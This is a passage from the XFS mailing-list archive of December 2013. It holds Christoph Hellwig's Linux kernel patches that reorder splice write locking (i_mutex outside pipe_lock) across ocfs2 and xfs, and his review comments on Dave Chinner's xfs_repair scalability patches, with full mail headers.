pipe_buffer *buf, diff --git a/include/linux/splice.h b/include/linux/splice.h index 74575cb..c5aca88 100644 --- a/include/linux/splice.h +++ b/include/linux/splice.h @@ -78,6 +78,8 @@ extern void splice_from_pipe_end(struct pipe_inode_info *, struct splice_desc *); extern int pipe_to_file(struct pipe_inode_info *, struct pipe_buffer *, struct splice_desc *); +extern int __pipe_to_file(struct pipe_inode_info *, struct pipe_buffer *, + struct splice_desc *); extern ssize_t splice_to_pipe(struct pipe_inode_info *, struct splice_pipe_desc *); -- 1.7.10.4 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:18:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 090C87F69 for ; Thu, 12 Dec 2013 12:18:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9A846AC004 for ; Thu, 12 Dec 2013 10:18:57 -0800 (PST) X-ASG-Debug-ID: 1386872336-04cbb041696e5360001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id tlipIv5NC9IOXsnV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:18:56 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAqS-0001Ru-E2; Thu, 12 Dec 2013 18:18:44 +0000 Message-Id: <20131212181459.994196463@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 12 Dec 2013 10:14:59 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 0/5] splice: locking changes and code refactoring X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 0/5] splice: locking changes and code refactoring X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872336 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS I've been trying to fix the old splice iolock lock inversion issue in XFS and started looking over the splice code a little more for it. It seems like the root of all evil is that we try to nest i_mutex inside the pipe_lock instead of outside of it, and I can't find any good reason for that. Does anyone remember why it went this way initially? By fixing that and a few minor issues we can not only fix this issue nicely in XFS, but also get rid of various bits of code duplication, and poking into splice internals by the ocfs2 splice_write path. Btw, does anyone have a good test suite for splice functionality? xfstests coverage exits but is not very extensive. b/fs/ocfs2/file.c | 2 b/fs/splice.c | 5 +- b/fs/xfs/xfs_file.c | 26 +++++----- b/include/linux/splice.h | 2 fs/ocfs2/file.c | 78 +++++++++---------------------- fs/splice.c | 115 +++++++++++++---------------------------------- include/linux/splice.h | 7 -- 7 files changed, 76 insertions(+), 159 deletions(-) From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:18:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5A99A7F6A for ; Thu, 12 Dec 2013 12:18:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3BC0030406A for ; Thu, 12 Dec 2013 10:18:58 -0800 (PST) X-ASG-Debug-ID: 1386872336-04cbb041676e5370001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 8xyBxwPwp3dAgoJx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:18:57 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAqS-0001T4-PR; Thu, 12 Dec 2013 18:18:44 +0000 Message-Id: <20131212181844.672949101@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 12 Dec 2013 10:15:01 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 2/5] splice: nest i_mutex outside pipe_lock References: <20131212181459.994196463@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 2/5] splice: nest i_mutex outside pipe_lock Content-Disposition: inline; filename=0002-splice-nest-i_mutex-outside-pipe_lock.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872337 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS I can't find any obvious reason why we would want to nest i_mutex inside the pipe lock, but two good reasons speak against it: - with i_mutex inside the pipe lock we have to unlock it every time we iterate to the next buffer, which prevents i_mutex from guaranteeing write atomicy similar to write(2), and also is ineffiecient for filesystems like ocfs2 that have additional cluster locking along i_mutex. - the ordering of pipe_lock outside i_mutex makes it very hard to share code with filesystems that have additional inode-wide locks that need to be taken in the right order with i_mutex. In addition to changing the lock order this patch also removes the useless I_MUTEX_CHILD annotations. Signed-off-by: Christoph Hellwig --- fs/ocfs2/file.c | 20 +++++++++++--------- fs/splice.c | 5 +++-- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index a77ef6e..c68e111 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -2461,6 +2461,12 @@ static ssize_t ocfs2_file_splice_write(struct pipe_inode_info *pipe, out->f_path.dentry->d_name.len, out->f_path.dentry->d_name.name, len); + mutex_lock(&inode->i_mutex); + ret = ocfs2_rw_lock(inode, 1); + if (ret < 0) { + mlog_errno(ret); + goto out_unlock_inode; + } pipe_lock(pipe); splice_from_pipe_begin(&sd); @@ -2469,20 +2475,16 @@ static ssize_t ocfs2_file_splice_write(struct pipe_inode_info *pipe, if (ret <= 0) break; - mutex_lock_nested(&inode->i_mutex, I_MUTEX_CHILD); - ret = ocfs2_rw_lock(inode, 1); - if (ret < 0) - mlog_errno(ret); - else { - ret = ocfs2_splice_to_file(pipe, out, &sd); - ocfs2_rw_unlock(inode, 1); - } - mutex_unlock(&inode->i_mutex); + ret = ocfs2_splice_to_file(pipe, out, &sd); } while (ret > 0); splice_from_pipe_end(pipe, &sd); pipe_unlock(pipe); + ocfs2_rw_unlock(inode, 1); +out_unlock_inode: + mutex_unlock(&inode->i_mutex); + if (sd.num_spliced) ret = sd.num_spliced; diff --git a/fs/splice.c b/fs/splice.c index fcb459d..4fb6c1f 100644 --- a/fs/splice.c +++ b/fs/splice.c @@ -1005,6 +1005,8 @@ generic_file_splice_write(struct pipe_inode_info *pipe, struct file *out, }; ssize_t ret; + mutex_lock(&inode->i_mutex); + pipe_lock(pipe); splice_from_pipe_begin(&sd); @@ -1013,7 +1015,6 @@ generic_file_splice_write(struct pipe_inode_info *pipe, struct file *out, if (ret <= 0) break; - mutex_lock_nested(&inode->i_mutex, I_MUTEX_CHILD); ret = file_remove_suid(out); if (!ret) { ret = file_update_time(out); @@ -1021,11 +1022,11 @@ generic_file_splice_write(struct pipe_inode_info *pipe, struct file *out, ret = splice_from_pipe_feed(pipe, &sd, pipe_to_file); } - mutex_unlock(&inode->i_mutex); } while (ret > 0); splice_from_pipe_end(pipe, &sd); pipe_unlock(pipe); + mutex_unlock(&inode->i_mutex); if (sd.num_spliced) ret = sd.num_spliced; -- 1.7.10.4 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:18:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 619E67F6B for ; Thu, 12 Dec 2013 12:18:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4A26030406B for ; Thu, 12 Dec 2013 10:18:58 -0800 (PST) X-ASG-Debug-ID: 1386872336-04cbb041686e5370001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 85dp7xVaYuRePR2q (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:18:56 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAqT-0001Ui-9t; Thu, 12 Dec 2013 18:18:45 +0000 Message-Id: <20131212181845.192929733@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 12 Dec 2013 10:15:04 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 5/5] splice: stop exporting splice_from_pipe implementation details References: <20131212181459.994196463@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 5/5] splice: stop exporting splice_from_pipe implementation details Content-Disposition: inline; filename=0005-splice-stop-exporting-splice_from_pipe-implementatio.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872336 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS The splice_to_file and __splice_to_file helpers with the various actors are everyting consumers need to implement splice properly, so stop exporting the low-level helpers that are used to implement these functions, or in two cases were they were so trivially remove the helpers entirely. Signed-off-by: Christoph Hellwig --- fs/splice.c | 49 +++++++++--------------------------------------- include/linux/splice.h | 7 ------- 2 files changed, 9 insertions(+), 47 deletions(-) diff --git a/fs/splice.c b/fs/splice.c index 108e527..8627a85 100644 --- a/fs/splice.c +++ b/fs/splice.c @@ -812,8 +812,8 @@ static void wakeup_pipe_writers(struct pipe_inode_info *pipe) * locking is required around copying the pipe buffers to the * destination. */ -int splice_from_pipe_feed(struct pipe_inode_info *pipe, struct splice_desc *sd, - splice_actor *actor) +static int splice_from_pipe_feed(struct pipe_inode_info *pipe, + struct splice_desc *sd, splice_actor *actor) { int ret; @@ -859,7 +859,6 @@ int splice_from_pipe_feed(struct pipe_inode_info *pipe, struct splice_desc *sd, return 1; } -EXPORT_SYMBOL(splice_from_pipe_feed); /** * splice_from_pipe_next - wait for some data to splice from @@ -871,7 +870,8 @@ EXPORT_SYMBOL(splice_from_pipe_feed); * value (one) if pipe buffers are available. It will return zero * or -errno if no more data needs to be spliced. */ -int splice_from_pipe_next(struct pipe_inode_info *pipe, struct splice_desc *sd) +static int splice_from_pipe_next(struct pipe_inode_info *pipe, + struct splice_desc *sd) { while (!pipe->nrbufs) { if (!pipe->writers) @@ -896,40 +896,6 @@ int splice_from_pipe_next(struct pipe_inode_info *pipe, struct splice_desc *sd) return 1; } -EXPORT_SYMBOL(splice_from_pipe_next); - -/** - * splice_from_pipe_begin - start splicing from pipe - * @sd: information about the splice operation - * - * Description: - * This function should be called before a loop containing - * splice_from_pipe_next() and splice_from_pipe_feed() to - * initialize the necessary fields of @sd. - */ -void splice_from_pipe_begin(struct splice_desc *sd) -{ - sd->num_spliced = 0; - sd->need_wakeup = false; -} -EXPORT_SYMBOL(splice_from_pipe_begin); - -/** - * splice_from_pipe_end - finish splicing from pipe - * @pipe: pipe to splice from - * @sd: information about the splice operation - * - * Description: - * This function will wake up pipe writers if necessary. It should - * be called after a loop containing splice_from_pipe_next() and - * splice_from_pipe_feed(). - */ -void splice_from_pipe_end(struct pipe_inode_info *pipe, struct splice_desc *sd) -{ - if (sd->need_wakeup) - wakeup_pipe_writers(pipe); -} -EXPORT_SYMBOL(splice_from_pipe_end); /** * __splice_from_pipe - splice data from a pipe to given actor @@ -949,14 +915,17 @@ ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd, { int ret; - splice_from_pipe_begin(sd); + sd->num_spliced = 0; + sd->need_wakeup = false; + do { ret = splice_from_pipe_next(pipe, sd); if (ret > 0) ret = splice_from_pipe_feed(pipe, sd, actor); } while (ret > 0); - splice_from_pipe_end(pipe, sd); + if (sd->need_wakeup) + wakeup_pipe_writers(pipe); return sd->num_spliced ? sd->num_spliced : ret; } EXPORT_SYMBOL(__splice_from_pipe); diff --git a/include/linux/splice.h b/include/linux/splice.h index c5aca88..0dabcc7 100644 --- a/include/linux/splice.h +++ b/include/linux/splice.h @@ -69,13 +69,6 @@ extern ssize_t splice_from_pipe(struct pipe_inode_info *, struct file *, splice_actor *); extern ssize_t __splice_from_pipe(struct pipe_inode_info *, struct splice_desc *, splice_actor *); -extern int splice_from_pipe_feed(struct pipe_inode_info *, struct splice_desc *, - splice_actor *); -extern int splice_from_pipe_next(struct pipe_inode_info *, - struct splice_desc *); -extern void splice_from_pipe_begin(struct splice_desc *); -extern void splice_from_pipe_end(struct pipe_inode_info *, - struct splice_desc *); extern int pipe_to_file(struct pipe_inode_info *, struct pipe_buffer *, struct splice_desc *); extern int __pipe_to_file(struct pipe_inode_info *, struct pipe_buffer *, -- 1.7.10.4 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:19:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E698F7F6B for ; Thu, 12 Dec 2013 12:19:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6F4D30406A for ; Thu, 12 Dec 2013 10:19:00 -0800 (PST) X-ASG-Debug-ID: 1386872336-04bdf013231ed120001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 6v9mbgUvlU2YmFRJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:18:56 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAqT-0001UA-4K; Thu, 12 Dec 2013 18:18:45 +0000 Message-Id: <20131212181845.014747851@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 12 Dec 2013 10:15:03 -0800 From: Christoph Hellwig To: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 4/5] xfs: fix splice_write locking References: <20131212181459.994196463@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 4/5] xfs: fix splice_write locking Content-Disposition: inline; filename=0004-xfs-fix-splice_write-locking.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872336 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Call splice_from_pipe directly from XFS so that we can do our normal I/O path locking. This fixes a rare to hit deadlock vs direct I/O as reported by Dave Chinner long time ago. Signed-off-by: Christoph Hellwig --- fs/xfs/xfs_file.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..9d0da98 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -43,6 +43,7 @@ #include #include #include +#include static const struct vm_operations_struct xfs_file_vm_ops; @@ -348,14 +349,6 @@ xfs_file_splice_read( return ret; } -/* - * xfs_file_splice_write() does not use xfs_rw_ilock() because - * generic_file_splice_write() takes the i_mutex itself. This, in theory, - * couuld cause lock inversions between the aio_write path and the splice path - * if someone is doing concurrent splice(2) based writes and write(2) based - * writes to the same inode. The only real way to fix this is to re-implement - * the generic code here with correct locking orders. - */ STATIC ssize_t xfs_file_splice_write( struct pipe_inode_info *pipe, @@ -377,15 +370,22 @@ xfs_file_splice_write( if (XFS_FORCED_SHUTDOWN(ip->i_mount)) return -EIO; - xfs_ilock(ip, XFS_IOLOCK_EXCL); - + xfs_rw_ilock(ip, XFS_IOLOCK_EXCL); trace_xfs_file_splice_write(ip, count, *ppos, ioflags); + ret = splice_from_pipe(pipe, outfilp, ppos, count, flags, pipe_to_file); + xfs_rw_iunlock(ip, XFS_IOLOCK_EXCL); + + if (ret > 0) { + int err; - ret = generic_file_splice_write(pipe, outfilp, ppos, count, flags); - if (ret > 0) XFS_STATS_ADD(xs_write_bytes, ret); - xfs_iunlock(ip, XFS_IOLOCK_EXCL); + err = generic_write_sync(outfilp, *ppos, ret); + if (err) + return err; + *ppos += ret; + } + return ret; } -- 1.7.10.4 From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:26:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 28B437F6A for ; Thu, 12 Dec 2013 12:26:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0CCEA30406B for ; Thu, 12 Dec 2013 10:26:32 -0800 (PST) X-ASG-Debug-ID: 1386872790-04cbb041676e56a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id aab5NOCt5KoK8Lwf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:26:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAxy-0003fz-Ge; Thu, 12 Dec 2013 18:26:30 +0000 Date: Thu, 12 Dec 2013 10:26:30 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] repair: translation lookups limit scalability Message-ID: <20131212182630.GA10092@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/5] repair: translation lookups limit scalability References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386832945-19763-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872791 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Dec 12, 2013 at 06:22:21PM +1100, Dave Chinner wrote: > From: Dave Chinner > > A bit of perf magic showed that scalability was limits to 3-4 > concurrent threads due to contention on a lock inside in something > called __dcigettext(). That some library somewhere that repair is > linked against, and it turns out to be inside the translation > infrastructure to support the _() string mechanism: > > # Samples: 34K of event 'cs' > # Event count (approx.): 495567 > # > # Overhead Command Shared Object Symbol > # ........ ............. ................. .............. > # > 60.30% xfs_repair [kernel.kallsyms] [k] __schedule > | > --- 0x63fffff9c > process_bmbt_reclist_int > | > |--39.95%-- __dcigettext > | __lll_lock_wait > | system_call_fastpath > | SyS_futex > | do_futex > | futex_wait > | futex_wait_queue_me > | schedule > | __schedule > | > |--8.91%-- __lll_lock_wait > | system_call_fastpath > | SyS_futex > | do_futex > | futex_wait > | futex_wait_queue_me > | schedule > | __schedule > --51.13%-- [...] > > Runtime of an unpatched xfs_repair is roughly: > > XFS_REPAIR Summary Fri Dec 6 11:15:50 2013 > > Phase Start End Duration > Phase 1: 12/06 10:56:21 12/06 10:56:21 > Phase 2: 12/06 10:56:21 12/06 10:56:23 2 seconds > Phase 3: 12/06 10:56:23 12/06 11:01:31 5 minutes, 8 seconds > Phase 4: 12/06 11:01:31 12/06 11:07:08 5 minutes, 37 seconds > Phase 5: 12/06 11:07:08 12/06 11:07:09 1 second > Phase 6: 12/06 11:07:09 12/06 11:15:49 8 minutes, 40 seconds > Phase 7: 12/06 11:15:49 12/06 11:15:50 1 second > > Total run time: 19 minutes, 29 seconds > > Patched version: > > Phase Start End Duration > Phase 1: 12/06 10:36:29 12/06 10:36:29 > Phase 2: 12/06 10:36:29 12/06 10:36:31 2 seconds > Phase 3: 12/06 10:36:31 12/06 10:40:08 3 minutes, 37 seconds > Phase 4: 12/06 10:40:08 12/06 10:43:42 3 minutes, 34 seconds > Phase 5: 12/06 10:43:42 12/06 10:43:42 > Phase 6: 12/06 10:43:42 12/06 10:50:28 6 minutes, 46 seconds > Phase 7: 12/06 10:50:28 12/06 10:50:29 1 second > > Total run time: 14 minutes > > Big win! > > Signed-off-by: Dave Chinner > --- > repair/dinode.c | 28 ++++++++++++++++++++++++---- > 1 file changed, 24 insertions(+), 4 deletions(-) > > diff --git a/repair/dinode.c b/repair/dinode.c > index 7469fc8..8f14a9e 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -522,6 +522,11 @@ _("illegal state %d in rt block map %" PRIu64 "\n"), > * file overlaps with any duplicate extents (in the > * duplicate extent list). > */ > +static char *__forkname_data; > +static char *__forkname_attr; > +static char *__ftype_real_time; > +static char *__ftype_regular; Double underscores for symbol names aren't really nice for userspace programs as they are in the implementation namespace. I also don't really see a need for the prefixed here. > + if (!__forkname_data) { > + __forkname_data = _("data"); > + __forkname_attr = _("attr"); > + __ftype_real_time = _("real-time"); > + __ftype_regular = _("regular"); > + } Maybe just do these assignments early on during program initialization? From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:27:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D60227F6A for ; Thu, 12 Dec 2013 12:27:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C0F918F8064 for ; Thu, 12 Dec 2013 10:27:02 -0800 (PST) X-ASG-Debug-ID: 1386872821-04cb6c537c6df5c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id R4T4Q5Dvft4KKizO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 10:27:02 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrAyT-0003gT-Je; Thu, 12 Dec 2013 18:27:01 +0000 Date: Thu, 12 Dec 2013 10:27:01 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] repair: per AG locks contend for cachelines Message-ID: <20131212182701.GB10092@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/5] repair: per AG locks contend for cachelines References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386832945-19763-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386872821 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 12:28:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none 